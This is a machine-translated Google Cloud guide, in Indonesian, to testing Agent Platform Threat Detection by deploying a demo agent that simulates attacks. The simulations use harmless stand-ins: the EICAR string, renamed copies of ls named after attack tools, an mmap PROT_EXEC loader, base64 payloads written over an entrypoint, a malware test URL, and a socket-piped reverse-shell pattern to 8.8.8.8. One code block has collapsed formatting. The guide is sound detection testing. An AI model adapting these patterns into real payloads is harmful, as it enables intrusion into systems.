Google menggunakan teknologi AI untuk menerjemahkan konten ke dalam bahasa pilihan Anda. Terjemahan AI mungkin mengandung kesalahan.

Menguji Platform Threat Detection Agen

Halaman ini menjelaskan cara memverifikasi bahwa Agent Platform Threat Detection berfungsi dengan memicu detektor secara sengaja dan memeriksa temuan. Agent Platform Threat Detection adalah layanan bawaan Security Command Center.

Sebelum memulai

Untuk mendeteksi potensi ancaman terhadap agen Agent Runtime Anda, pastikan bahwa layanan Agent Platform Threat Detection diaktifkan di Security Command Center.

Lingkungan penyiapan

Untuk menguji Agent Platform Threat Detection, siapkan agen demo yang mensimulasikan aktivitas berbahaya.

Membuat project dan mengaktifkan shell

Pilih atau buat Google Cloud project untuk digunakan dalam pengujian.

Untuk menguji detektor, Anda dapat menggunakan Google Cloud konsol dan Cloud Shell.

Buka Google Cloud konsol.

Buka Google Cloud konsol
Pilih project yang akan Anda gunakan untuk pengujian.
Klik Aktifkan Cloud Shell.

Anda juga dapat menjalankan petunjuk pengujian dari shell lokal.

Menyiapkan Agent Runtime

Jika Anda belum pernah menggunakan Agent Runtime di project ini, Siapkan lingkungan Agent Runtime sebelum memulai. Catat nama bucket Cloud Storage staging yang Anda buat. Sebaiknya ikuti panduan memulai Agent Runtime untuk mempelajari cara mengembangkan dan men-deploy agen dengan Vertex AI SDK.

Membuat skrip pengujian

Anda akan membuat beberapa file yang akan digunakan untuk men-deploy agen baru untuk pengujian. Gunakan editor teks untuk hal ini, seperti nano.

Buat file baru bernama requirements.txt dengan konten berikut.

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

Buat file kosong baru bernama installation_scripts/install.sh. Beberapa pengujian mengharuskan penambahan konten ke file ini.

Buat file baru bernama main.py, dengan konten berikut. Ganti variabel PROJECT_ID, LOCATION, dan STAGING_BUCKET. Nama bucket staging harus menyertakan awalan gs://.

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

Menyiapkan lingkungan virtual

Buat dan aktifkan lingkungan virtual Python.

  python3 -m venv env
  source env/bin/activate

Instal dependensi yang diperlukan di lingkungan virtual.
```
pip install -r requirements.txt
```

Menguji skrip

Jalankan skrip dari dalam lingkungan virtual dengan python3 main.py. Perintah ini akan memerlukan waktu beberapa menit untuk membuat, men-deploy, dan menjalankan agen pengujian.

Skrip ini menampilkan nama resource agen yang di-deploy, dan beberapa objek JSON termasuk respons LLM dan metadata lainnya. Jika Anda mengalami error izin atau error deployment pada tahap ini, lihat pemecahan masalah untuk langkah berikutnya.

Menguji detektor

Untuk menguji detektor Agent Platform Threat Detection, ganti kode dalam fungsi threat_detection_test dengan kode yang mensimulasikan serangan. Skrip dapat memerlukan waktu lama untuk men-deploy dan membuat kueri agen. Untuk mempercepat pengujian, Anda dapat menggabungkan konten beberapa fungsi ini.

Eksekusi: Biner Berbahaya yang Ditambahkan Dieksekusi

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output += _run_command(["touch", "/tmp/test_mal_file"])
  with open("/tmp/test_mal_file", "w") as f:
    f.write(eicar)
  output += _run_command(["chmod", "700", "/tmp/test_mal_file"])
  output += _run_command(["sh", "-c", "/tmp/test_mal_file"])
  output += _run_command(["sleep", "10"])
  return output

Eksekusi: Library Berbahaya yang Ditambahkan Dimuat

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian. Anda mungkin menerima error dari Vertex AI SDK tentang penguraian respons, tetapi temuan tetap dibuat.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  with open("/tmp/test_mal_lib", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/tmp/test_mal_lib"])
  output += _run_command(["sleep", "10"])
  return output

Eksekusi: Container Escape

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/botb-linux-amd64"])
  output += _run_command(["chmod", "700", "/tmp/botb-linux-amd64"])
  output += _run_command(["/tmp/botb-linux-amd64", "-autopwn"])
  output += _run_command(["sleep", "10"])
  return output

Eksekusi: Eksekusi Alat Serangan Kubernetes

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/amicontained"])
  output += _run_command(["/tmp/amicontained"])
  output += _run_command(["sleep", "10"])
  return output

Eksekusi: Eksekusi Alat Pengintaian Lokal

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/linenum.sh"])
  output += _run_command(["/tmp/linenum.sh"])
  output += _run_command(["sleep", "10"])
  return output

Eksekusi: Biner Berbahaya yang Diubah Dieksekusi

Replace the `threat_detection_test` function in the test script, and then run the
test script.

```python
def threat_detection_test():
    eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
    output = _run_command(["sleep", "60"])
    output += _run_command(["chmod", "-R", "777", "/code"])
    with open("/code/entrypoint.sh", "w") as f:
f.write(eicar)

output += _run_command(["chmod", "700", "/code/entrypoint.sh"]) output += _run_command(["sh", "-c", "/code/entrypoint.sh"]) output += _run_command(["sleep", "10"]) return output ```

Eksekusi: Library Berbahaya yang Diubah Dimuat

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output = _run_command(["sleep", "60"])
  output += _run_command(["chmod", "-R", "777", "/code"])
  with open("/code/entrypoint.sh", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/code/entrypoint.sh"])
  output += _run_command(["sleep", "10"])
  return output

Eksekusi: Keterampilan Berbahaya yang Ditambahkan Dieksekusi

Deteksi Eksekusi Keterampilan Berbahaya ini sedikit berbeda dari detektor lainnya. Daripada menentukan logika sepenuhnya di dalam threat_detection_test, gabungkan threat_detection_test dalam fungsi factory Python. Skrip alat Python akan memuat payload pengujian menggunakan variabel lingkungan B64_PAYLOAD, bukan meng-hardcode-nya ke dalam skrip. Pastikan Anda mengekspor B64_PAYLOAD di terminal shell.

export B64_PAYLOAD=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)

Ganti fungsi threat_detection_test dalam skrip pengujian dengan fungsi create_threat_tool berikut. Perbarui kode inisialisasi skrip di bagian bawah skrip untuk memanggil alat ini dengan benar, dengan meneruskan local_payload.

import base64
def create_threat_tool(injected_payload):
    def threat_tool():
        """Runs a threat detection test by writing and executing a base64 encoded payload."""
        output = _run_command(["sleep", "60"])
        test_file = "/tmp/tmp_mal_file"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        decoded_content = base64.b64decode(b64_payload)
        with open(test_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", test_file])
        output += _run_command(["sh", "-c", test_file])
        output += _run_command(["sleep", "10"])
        output += _run_command(["sha256sum", test_file])
        output += _run_command(["rm", test_file])

        return output

    return threat_tool

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Eksekusi: Keterampilan Berbahaya yang Diubah Dieksekusi

Ganti fungsi threat_detection_test dalam skrip pengujian dengan fungsi create_modified_threat_tool berikut. Ganti kode inisialisasi skrip di bagian bawah skrip untuk memanggil alat ini dengan benar, dengan meneruskan local_payload seperti yang ditunjukkan dalam contoh berikut.

import base64
def create_modified_threat_tool(injected_payload):
    def modified_threat_tool():
        """Runs a threat detection test by modifying an existing file with a decoded payload and executing it."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", target_file])
        output += _run_command(["sh", "-c", target_file])
        output += _run_command(["sleep", "10"])

        return output

    return modified_threat_tool

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Eksekusi: Keterampilan Berbahaya yang Ditambahkan Dimuat

Ganti fungsi threat_detection_test dalam skrip pengujian dengan fungsi create_threat_library berikut. Ganti kode inisialisasi skrip di bagian bawah skrip untuk memanggil alat ini dengan benar, dengan meneruskan local_payload seperti yang ditunjukkan dalam contoh berikut.

import base64
def create_threat_library(injected_payload):
    def threat_library():
        """Simulates loading a malicious library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        test_lib_file = "/tmp/test_mal_lib"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        decoded_content = base64.b64decode(b64_payload)

        with open(test_lib_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, test_lib_file])
        output += _run_command(["sleep", "10"])

        for f_path in [test_lib_file, loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return threat_library

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Eksekusi: Keterampilan Berbahaya yang Diubah Dimuat

Ganti fungsi threat_detection_test dalam skrip pengujian dengan fungsi create_modified_threat_library berikut. Ganti kode inisialisasi skrip di bagian bawah skrip untuk memanggil alat ini dengan benar, dengan meneruskan local_payload seperti yang ditunjukkan dalam contoh berikut.

import base64
def create_modified_threat_library(injected_payload):
    def modified_threat_library():
        """Simulates loading a modified existing binary as a library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, target_file])
        output += _run_command(["sleep", "10"])

        for f_path in [loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return modified_threat_library

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

URL Berbahaya Teramati

Perbarui file installation_scripts/install.sh dengan konten berikut.

#!/bin/bash
apt-get install -y curl --no-install-recommends

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  url = "https://testsafebrowsing.appspot.com/s/malware.html"
  output = _run_command(["sleep", "60"])
  output += _run_command(["curl", url])
  output += _run_command(["sleep", "10"])
  return output

Reverse Shell

Ganti fungsi threat_detection_test dalam skrip pengujian, lalu jalankan skrip pengujian.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/echo", "/tmp/sh"])
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("8.8.8.8", 53))
  subprocess.run(["/tmp/sh"], stdin=s, stdout=s, stderr=s, timeout=5)
  output += _run_command(["sleep", "10"])
  return output

Langkah berikutnya

Pelajari lebih lanjut Agent Platform Threat Detection.
Pelajari cara me nggunakan Agent Platform Threat Detection.

Menguji Platform Threat Detection Agen Tetap teratur dengan koleksi Simpan dan kategorikan konten berdasarkan preferensi Anda.

Sebelum memulai

Lingkungan penyiapan

Membuat project dan mengaktifkan shell

Menyiapkan Agent Runtime

Membuat skrip pengujian

Menyiapkan lingkungan virtual

Menguji skrip

Menguji detektor

Eksekusi: Biner Berbahaya yang Ditambahkan Dieksekusi

Eksekusi: Library Berbahaya yang Ditambahkan Dimuat

Eksekusi: Container Escape

Eksekusi: Eksekusi Alat Serangan Kubernetes

Eksekusi: Eksekusi Alat Pengintaian Lokal

Eksekusi: Biner Berbahaya yang Diubah Dieksekusi

Eksekusi: Library Berbahaya yang Diubah Dimuat

Eksekusi: Keterampilan Berbahaya yang Ditambahkan Dieksekusi

Eksekusi: Keterampilan Berbahaya yang Diubah Dieksekusi

Eksekusi: Keterampilan Berbahaya yang Ditambahkan Dimuat

Eksekusi: Keterampilan Berbahaya yang Diubah Dimuat

URL Berbahaya Teramati

Reverse Shell

Langkah berikutnya

Menguji Platform Threat Detection Agen